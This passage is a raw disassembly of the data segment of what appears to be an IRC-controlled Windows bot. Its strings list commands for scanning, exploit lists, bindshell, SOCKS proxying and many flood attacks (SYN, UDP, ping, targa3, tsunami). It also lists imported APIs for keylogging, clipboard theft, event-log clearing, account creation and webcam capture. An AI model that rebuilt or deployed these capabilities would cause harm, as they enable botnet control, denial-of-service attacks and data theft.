DATA XREF: seg000:004031D6o aAl db 'al',0 ; DATA XREF: seg000:004031C1o align 10h aAliases db 'aliases',0 ; DATA XREF: seg000:004031ACo aT: ; DATA XREF: seg000:00403197o ; seg002:0043A870o ... unicode 0, <t>,0 aThreads db 'threads',0 ; DATA XREF: seg000:00403182o unk_42D954 db 2Dh ; - ; DATA XREF: seg000:0040314Eo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedToReboot db 'Failed to reboot system.',0 align 4 unk_42D97C db 2Dh ; - ; DATA XREF: seg000:00403147o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRebootingSyste db 'Rebooting system.',0 align 4 aReboot db 'reboot',0 ; DATA XREF: seg000:00403130o align 4 aI: ; DATA XREF: seg000:0040311Bo ; seg002:0043A87Co ... unicode 0, <i>,0 aId db 'id',0 ; DATA XREF: seg000:00403106o align 4 aS_1: ; DATA XREF: seg000:004030F1o ; seg002:0043A888o ... unicode 0, <s>,0 aStatus db 'status',0 ; DATA XREF: seg000:004030DCo align 4 aQ: ; DATA XREF: seg000:004030C7o ; seg002:off_43A860o ... unicode 0, <q>,0 aQuit_0 db 'quit',0 ; DATA XREF: seg000:004030B2o align 4 aDc db 'dc',0 ; DATA XREF: seg000:0040309Do align 4 aDisconnect db 'disconnect',0 ; DATA XREF: seg000:00403088o align 4 aR: ; DATA XREF: seg000:00403073o ; seg000:00405893o ... unicode 0, <r>,0 aReconnect db 'reconnect',0 ; DATA XREF: seg000:0040305Eo align 4 aExplist db 'explist',0 ; DATA XREF: seg000:00403049o aExploitlist db 'exploitlist',0 ; DATA XREF: seg000:00403034o aCbstats db 'cbstats',0 ; DATA XREF: seg000:0040301Fo aConnectbacksta db 'connectbackstats',0 ; DATA XREF: seg000:0040300Ao align 4 aTrstats db 'trstats',0 ; DATA XREF: seg000:00402FF5o aTransferstats db 'transferstats',0 ; DATA XREF: seg000:00402FE0o align 4 aStats db 'stats',0 ; DATA XREF: seg000:00402FCBo align 4 aScanstats db 'scanstats',0 ; DATA XREF: seg000:00402FB6o align 10h dword_42DA40 dd 234032Dh, 6E616373h, 2D0302h ; DATA XREF: seg000:00402FABo aScan_0 db 'Scan',0 ; DATA XREF: seg000:00402FA6o align 4 aScanstop db 'scanstop',0 ; DATA XREF: seg000:00402F8Do align 10h dword_42DA60 dd 234032Dh, 75636573h, 3026572h, 2Dh ; DATA XREF: seg000:00402F82o aSecure_0 db 'Secure',0 ; DATA XREF: seg000:00402F7Do align 4 aSecurestop db 'securestop',0 ; DATA XREF: seg000:00402F64o align 4 dword_42DA84 dd 234032Dh, 6E6F6C63h, 3027365h, 2Dh ; DATA XREF: seg000:00402F59o aClone db 'Clone',0 ; DATA XREF: seg000:00402F54o align 4 aClonestop db 'clonestop',0 ; DATA XREF: seg000:00402F3Bo align 4 aPsstop db 'psstop',0 ; DATA XREF: seg000:00402F26o align 10h aProcsstop db 'procsstop',0 ; DATA XREF: seg000:00402F11o align 4 aFfstop db 'ffstop',0 ; DATA XREF: seg000:00402EFCo align 4 aFindfilestop db 'findfilestop',0 ; DATA XREF: seg000:00402EE7o align 4 dword_42DAD4 dd 234032Dh, 70746674h, 2D030264h, 0 ; DATA XREF: seg000:00402EDCo aTftpstop db 'tftpstop',0 ; DATA XREF: seg000:00402EBEo align 10h aPingstop db 'pingstop',0 ; DATA XREF: seg000:00402E95o align 4 aUdpstop db 'udpstop',0 ; DATA XREF: seg000:00402E6Co aWisdomstop db 'wisdomstop',0 ; DATA XREF: seg000:00402E43o align 10h aTsunamistop db 'tsunamistop',0 ; DATA XREF: seg000:00402E1Ao unk_42DB1C db 2Dh ; - ; DATA XREF: seg000:00402E00o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aAllPacketingAc db 'All packeting activity has been halted.',0 dword_42DB50 dd 234032Dh, 64736977h, 3026D6Fh, 2Dh ; DATA XREF: seg000:00402DC5o ; seg000:00402E61o dword_42DB60 dd 64736957h, 61206D6Fh, 63617474h, 6Bh ; DATA XREF: seg000:00402DC0o ; seg000:00402E5Co dword_42DB70 dd 234032Dh, 6E757374h, 2696D61h, 2D03h ; DATA XREF: seg000:00402DA7o ; seg000:00402E38o dword_42DB80 dd 6E757354h, 20696D61h, 6F6F6C66h, 64h ; DATA XREF: seg000:00402DA2o ; seg000:00402E33o dword_42DB90 dd 234032Dh, 676E6970h, 2D0302h ; DATA XREF: seg000:00402D47o ; seg000:00402EB3o dword_42DB9C dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: seg000:00402D42o ; seg000:00402EAEo dword_42DBA8 dd 234032Dh, 2706475h, 2D03h ; DATA XREF: seg000:00402D29o ; seg000:00402E8Ao dword_42DBB4 dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: seg000:00402D24o ; seg000:00402E85o aPacketstop db 'packetstop',0 ; DATA XREF: seg000:00402CC4o align 4 dword_42DBCC dd 234032Dh, 6B6E6F77h, 2D0302h ; DATA XREF: seg000:00402CB9o ; seg000:00402D86o dword_42DBD8 dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: seg000:00402CB4o ; seg000:00402D81o aWonkstop db 'wonkstop',0 ; DATA XREF: seg000:00402C9Bo align 10h dword_42DBF0 dd 234032Dh, 67726174h, 3023361h, 2Dh ; DATA XREF: seg000:00402C90o ; seg000:00402D68o dword_42DC00 dd 67726154h, 66203361h, 646F6F6Ch, 0 ; DATA XREF: seg000:00402C8Bo ; seg000:00402D63o aTarga3stop db 'targa3stop',0 ; DATA XREF: seg000:00402C72o align 4 dword_42DC1C dd 234032Dh, 73796B73h, 3026E79h, 2Dh ; DATA XREF: seg000:00402C67o ; seg000:00402DE6o dword_42DC2C dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ; DATA XREF: seg000:00402C62o ; seg000:00402DE1o aSkysynstop db 'skysynstop',0 ; DATA XREF: seg000:00402C49o align 4 dword_42DC48 dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: seg000:00402C3Eo ; seg000:00402D08o dword_42DC54 dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: seg000:00402C39o ; seg000:00402D03o aSynstop db 'synstop',0 ; DATA XREF: seg000:00402C20o dword_42DC68 dd 234032Dh, 736F6464h, 2D0302h ; DATA XREF: seg000:00402C15o ; seg000:00402CEAo dword_42DC74 dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: seg000:00402C10o ; seg000:00402CE5o dword_42DC80 dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: seg000:00402BF7o dword_42DC8C dd 234032Dh, 69646572h, 74636572h, 2D0302h ; DATA XREF: seg000:00402BECo dword_42DC9C dd 20504354h, 69646572h, 74636572h, 0 ; DATA XREF: seg000:00402BE7o aRedirectstop db 'redirectstop',0 ; DATA XREF: seg000:00402BCEo align 4 dword_42DCBC dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: seg000:00402BC3o dword_42DCC8 dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF: seg000:00402BBEo aLogstop db 'logstop',0 ; DATA XREF: seg000:00402BA5o dword_42DCDC dd 234032Dh, 70747468h, 2D030264h, 0 ; DATA XREF: seg000:00402B9Ao aHttpstop db 'httpstop',0 ; DATA XREF: seg000:00402B7Co align 4 dword_42DCF8 dd 234032Dh, 676F6C72h, 2646E69h, 2D03h ; DATA XREF: seg000:00402B71o aRloginstop db 'rloginstop',0 ; DATA XREF: seg000:00402B53o align 4 dword_42DD14 dd 234032Dh, 6B636F73h, 3023473h, 2Dh ; DATA XREF: seg000:00402B48o aSocks4stop db 'socks4stop',0 ; DATA XREF: seg000:00402B2Ao align 10h aS4 db 's4',0 ; DATA XREF: seg000:00402B15o align 4 aSocks4 db 'socks4',0 ; DATA XREF: seg000:00402B00o align 4 dword_42DD3C dd 234032Dh, 646E6962h, 6C656873h, 2D03026Ch, 0 ; DATA XREF: seg000:00402AF5o aServer db 'Server',0 ; DATA XREF: seg000:00402AF0o ; seg000:00402B43o ... align 4 aBindshellstop db 'bindshellstop',0 ; DATA XREF: seg000:00402AD7o align 4 aBd db 'bd',0 ; DATA XREF: seg000:00402AC2o align 4 aBindshell db 'bindshell',0 ; DATA XREF: seg000:00402AADo align 4 aUnsec db 'unsec',0 ; DATA XREF: seg000:00402A98o align 10h aUnsecure db 'unsecure',0 ; DATA XREF: seg000:00402A83o align 4 aSec db 'sec',0 ; DATA XREF: seg000:00402A6Eo ; seg000:0040486Co aSecure db 'secure',0 ; DATA XREF: seg000:00402A59o ; seg000:0040485Bo align 4 aSt db 'st',0 ; DATA XREF: seg000:00402A44o align 4 aSpeedtest db 'speedtest',0 ; DATA XREF: seg000:00402A2Fo align 4 aDed db 'ded',0 ; DATA XREF: seg000:00402A1Ao aDedication db 'dedication',0 ; DATA XREF: seg000:00402A05o align 4 aVer db 'ver',0 ; DATA XREF: seg000:004029F0o aVersion db 'version',0 ; DATA XREF: seg000:004029DBo aLo db 'lo',0 ; DATA XREF: seg000:004029C6o align 4 aLogout db 'logout',0 ; DATA XREF: seg000:004029B1o align 10h aD: ; DATA XREF: seg000:0040299Co ; seg002:0043A88Co ... unicode 0, <d>,0 aDie db 'die',0 ; DATA XREF: seg000:00402987o aRn db 'rn',0 ; DATA XREF: seg000:00402972o align 4 aRndnick db 'rndnick',0 ; DATA XREF: seg000:0040295Ao a63 db '63',0 ; DATA XREF: seg000:00402829o align 4 asc_42DDE8: ; DATA XREF: seg000:00402801o unicode 0, <)>,0 aChr db '$chr(',0 ; DATA XREF: seg000:004027C7o align 4 aServer_1 db '$server',0 ; DATA XREF: seg000:004027BCo aRndnick_0 db '$rndnick',0 ; DATA XREF: seg000:004027ABo align 4 aChan db '$chan',0 ; DATA XREF: seg000:0040278Fo align 10h aUser_2 db '$user',0 ; DATA XREF: seg000:0040277Eo align 4 aMe db '$me',0 ; DATA XREF: seg000:0040276Co aD_0 db '$%d',0 ; DATA XREF: seg000:004026FEo aD_1 db '$%d-',0 ; DATA XREF: seg000:00402648o align 4 aF: ; DATA XREF: seg000:0040256Ao ; seg002:0043A890o ... unicode 0, <f>,0 aHi db 'hi',0 ; DATA XREF: seg000:00402552o align 10h unk_42DE30 db 2Dh ; - ; DATA XREF: seg000:0040252Fo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatFailedByUn db '- Chat failed by unauthorized user: %s.',0 align 4 unk_42DE64 db 2Dh ; - ; DATA XREF: seg000:0040251Eo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatAlreadyAct db '- Chat already active with user: %s.',0 align 4 unk_42DE94 db 2Dh ; - ; DATA XREF: seg000:004024F8o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSta_30 db '- Failed to start chat thread, error: <%d>.',0 align 4 unk_42DECC db 2Dh ; - ; DATA XREF: seg000:0040249Fo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatFromUserS_ db '- Chat from user: %s.',0 align 4 aChat db 'CHAT',0 ; DATA XREF: seg000:0040240Bo align 8 unk_42DEF8 db 2Dh ; - ; DATA XREF: seg000:004023EEo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceiveFileSFa db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0 align 4 dword_42DF3C dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h ; DATA XREF: seg000:004023BEo dd 0A0Dh dword_42DF54 dd 4E495001h, 47h ; DATA XREF: seg000:0040238Ao dword_42DF5C dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h ; DATA XREF: seg000:0040237Fo dd 0D017325h, 0Ah dword_42DF78 dd 52455601h, 4E4F4953h, 1 ; DATA XREF: seg000:0040234Eo dword_42DF84 dd 23h ; DATA XREF: seg000:004022C2o ; sub_40C8D5+1Bo unk_42DF88 db 2Dh ; - ; DATA XREF: seg000:00402242o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceiveFileSFr db '- Receive file: ',27h,'%s',27h,' from user: %s.',0 align 4 aS_2 db '%s',0 ; DATA XREF: seg000:004021C9o ; seg000:00402448o ... align 4 aSend_0 db 'SEND',0 ; DATA XREF: seg000:004021A2o align 4 dword_42DFC4 dd 43434401h, 0 ; DATA XREF: seg000:00402184o dword_42DFCC dd 323333h ; DATA XREF: seg000:0040210Ao ; seg000:0040258Co ... aNotice db 'NOTICE',0 ; DATA XREF: seg000:004020E8o ; sub_409966+Fo align 4 aPrivmsg db 'PRIVMSG',0 ; DATA XREF: seg000:004020DCo ; sub_409966+16o unk_42DFE0 db 2Dh ; - ; DATA XREF: seg000:00402088o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedOut db 'User: %s logged out.',0 align 4 unk_42E004 db 2Dh ; - ; DATA XREF: seg000:0040206Eo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aJoinedChanne_0 db 'Joined channel: %s.',0 a353 db '353',0 ; DATA XREF: seg000:0040203Do aQuit db 'QUIT',0 ; DATA XREF: seg000:00401FFCo ; sub_40ED60+5B6o align 10h aPart db 'PART',0 ; DATA XREF: seg000:00401FEBo ; seg000:004020A8o align 4 aSS db ':%s%s',0 ; DATA XREF: seg000:00401FC6o align 10h aNick db 'NICK',0 ; DATA XREF: seg000:00401ECBo align 4 aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: seg000:00401E79o ; seg000:004020CCo unk_42E058 db 2Dh ; - ; DATA XREF: seg000:00401E60o ; seg000:004049BDo ... db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedO_0 db 'User %s logged out.',0 aKick db 'KICK',0 ; DATA XREF: seg000:00401E07o align 10h aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: seg000:00401DC9o ; seg000:00409666o ... align 4 a433 db '433',0 ; DATA XREF: seg000:00401DA1o ; sub_417826:loc_41789Bo a@: ; DATA XREF: seg000:00401D76o unicode 0, <@>,0 a302 db '302',0 ; DATA XREF: seg000:00401D66o a005 db '005',0 ; DATA XREF: seg000:00401D51o a001 db '001',0 ; DATA XREF: seg000:00401D3Co aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: seg000:00401D20o ; seg000:00401EB8o ... align 10h aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: seg000:00401CFFo align 4 aPing db 'PING',0 ; DATA XREF: seg000:00401CE5o ; sub_417826+4Eo align 4 asc_42E0C4: ; DATA XREF: seg000:00401CD6o ; seg000:00409779o unicode 0, <!>,0 asc_42E0C8: ; DATA XREF: seg000:00401BF2o ; seg000:004028FEo ... unicode 0, < >,0 asc_42E0CC db ' :',0 ; DATA XREF: seg000:00401BD0o ; seg000:loc_4025E4o align 10h aSSS_0 db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409966+58o aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409A01+C7Fo align 4 aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409A01+C77o aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_409A01:loc_40A66Bo align 10h aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_409A01+C15o align 10h aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_409A01+C08o align 10h aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_409A01+BFBo align 10h aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_409A01+BEEo align 10h aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_409A01+BE1o align 10h aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_409A01+BD9o align 4 aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_409A01:loc_40A5CDo align 10h aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_409A01+B97o align 10h aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_409A01+B8Fo align 10h aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_409A01:loc_40A583o aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409A01+B3Do align 4 aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409A01+B30o align 4 aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_409A01+B23o aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_409A01+B1Bo aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_409A01:loc_40A50Fo aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409A01+AD9o align 10h aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_409A01+AD1o align 10h aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_409A01:loc_40A4C5o align 10h aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409A01+A8Fo align 10h aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409A01+A87o align 4 aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_409A01:loc_40A47Bo align 4 aNetwkstagetinf db 'NetWkstaGetInfo',0 ; DATA XREF: sub_409A01+9F9o aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_409A01+9ECo ; seg000:004187DCo align 4 aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_409A01+9DFo align 4 aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_409A01+9D2o aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_409A01+9C5o align 4 aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_409A01+9B8o align 10h aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_409A01+9ABo align 10h aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_409A01+99Eo align 4 aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409A01+991o align 4 aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_409A01+984o align 4 aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_409A01+977o aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_409A01+96Fo aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_409A01:loc_40A35Fo ; seg000:004187CFo align 10h aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_409A01+921o align 10h aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_409A01+914o aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_409A01+90Co align 10h aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_409A01:loc_40A300o align 4 aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409A01+8D2o align 4 aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_409A01+860o aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_409A01+853o align 10h aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_409A01+846o align 4 aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_409A01+839o align 4 aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_409A01+82Co align 4 aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_409A01+81Fo align 4 aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_409A01+812o align 10h aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_409A01+805o align 4 aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409A01+7F8o aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_409A01+7F0o align 4 aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_409A01:loc_40A1E0o aClosesocket db 'closesocket',0 ; DATA XREF: sub_409A01+6A6o aGetpeername db 'getpeername',0 ; DATA XREF: sub_409A01+699o aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_409A01+68Co align 10h aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_409A01+67Fo align 10h aGethostname db 'gethostname',0 ; DATA XREF: sub_409A01+672o aGetsockname db 'getsockname',0 ; DATA XREF: sub_409A01+665o aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_409A01+658o align 4 aAccept db 'accept',0 ; DATA XREF: sub_409A01+64Bo align 4 aListen db 'listen',0 ; DATA XREF: sub_409A01+63Eo align 4 aSelect db 'select',0 ; DATA XREF: sub_409A01+631o align 4 aBind db 'bind',0 ; DATA XREF: sub_409A01+629o align 4 aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_409A01+617o align 10h aRecv db 'recv',0 ; DATA XREF: sub_409A01+60Ao align 4 aSendto db 'sendto',0 ; DATA XREF: sub_409A01+5FDo align 10h aNtohl db 'ntohl',0 ; DATA XREF: sub_409A01+5E3o align 4 aNtohs db 'ntohs',0 ; DATA XREF: sub_409A01+5D6o align 10h aHtonl db 'htonl',0 ; DATA XREF: sub_409A01+5C9o align 4 aHtons db 'htons',0 ; DATA XREF: sub_409A01+5BCo align 10h aInet_addr db 'inet_addr',0 ; DATA XREF: sub_409A01+5AFo align 4 aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_409A01+5A2o align 4 aConnect db 'connect',0 ; DATA XREF: sub_409A01+595o aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_409A01+588o aSocket db 'socket',0 ; DATA XREF: sub_409A01+57Bo align 4 aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_409A01+56Eo align 10h aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_409A01+561o aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_409A01+554o align 4 a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_409A01+547o align 4 aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_409A01+53Ao align 4 aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_409A01+52Do align 4 aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_409A01+525o align 4 aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_409A01+514o align 10h aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_409A01+4A1o align 10h aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_409A01+494o align 4 aBitblt db 'BitBlt',0 ; DATA XREF: sub_409A01+487o align 4 aSelectobject db 'SelectObject',0 ; DATA XREF: sub_409A01+47Ao align 4 aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_409A01+46Do align 4 aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_409A01+460o align 4 aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_409A01+453o align 4 aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_409A01+446o align 10h aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_409A01+43Eo align 4 aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_409A01:loc_409E2Eo align 4 aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_409A01:loc_409E06o align 4 aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409A01+3ADo align 4 aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_409A01+3A0o aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_409A01+393o align 4 aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_409A01+386o align 4 aControlservice db 'ControlService',0 ; DATA XREF: sub_409A01+379o align 4 aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_409A01+36Co align 4 aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_409A01+35Fo align 4 aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_409A01:loc_409D58o align 4 aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409A01+327o align 4 aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409A01+31Ao align 4 aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_409A01:loc_409D13o align 10h aCleareventloga db 'ClearEventLogA',0 ; DATA XREF: sub_409A01+2C6o align 10h aOpeneventloga db 'OpenEventLogA',0 ; DATA XREF: sub_409A01+2B9o align 10h aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_409A01+2ACo aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_409A01+29Fo aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_409A01+292o align 10h aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_409A01+285o align 10h aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_409A01+278o aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_409A01+270o align 10h aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_409A01:loc_409C60o align 10h aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_409A01+21Ao aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_409A01+20Do align 4 aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_409A01+200o aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_409A01:loc_409BF9o align 4 aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_409A01+1A0o align 4 aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_409A01+193o align 4 aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_409A01+186o align 4 aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_409A01+179o align 4 aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_409A01+16Co align 4 aIswindow db 'IsWindow',0 ; DATA XREF: sub_409A01+15Fo align 4 aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_409A01+152o aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_409A01+14Ao align 10h aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_409A01:loc_409B36o ; sub_4250D1+Do align 4 aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_409A01:loc_409B09o align 4 aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409A01+A0o align 10h aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409A01+93o aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_409A01+86o aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_409A01+79o align 4 aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409A01+6Co aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409A01+5Fo aModule32first db 'Module32First',0 ; DATA XREF: sub_409A01+52o align 10h aProcess32next db 'Process32Next',0 ; DATA XREF: sub_409A01+45o align 10h aProcess32first db 'Process32First',0 ; DATA XREF: sub_409A01+38o align 10h aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409A01+2Bo align 4 aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_409A01+23o align 4 aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_409A01+Ao align 4 unk_42E9CC db 2Dh ; - ; DATA XREF: sub_40A6BD+2F2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aDllTestComplet db 'DLL test complete.',0 align 4 aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A6BD+2CCo align 4 aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A6BD+298o aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A6BD+264o align 4 aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A6BD+230o align 4 aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A6BD+1FCo align 10h aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A6BD+1C8o aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A6BD+194o align 4 aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A6BD+160o align 4 aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A6BD+12Co align 4 aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A6BD+F8o aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A6BD+C4o align 4 aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A6BD+90o align 4 aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A6BD+5Co aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A6BD+28o align 4 a_: ; DATA XREF: sub_40D83A+13o ; sub_40FCD8+24Co unicode 0, <.>,0 unk_42EB5C db 2Dh ; - ; DATA XREF: sub_40AA20:loc_40AAF1o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aNotSupportedBy db 'not supported by this system',0 align 4 unk_42EB8C db 2Dh ; - ; DATA XREF: 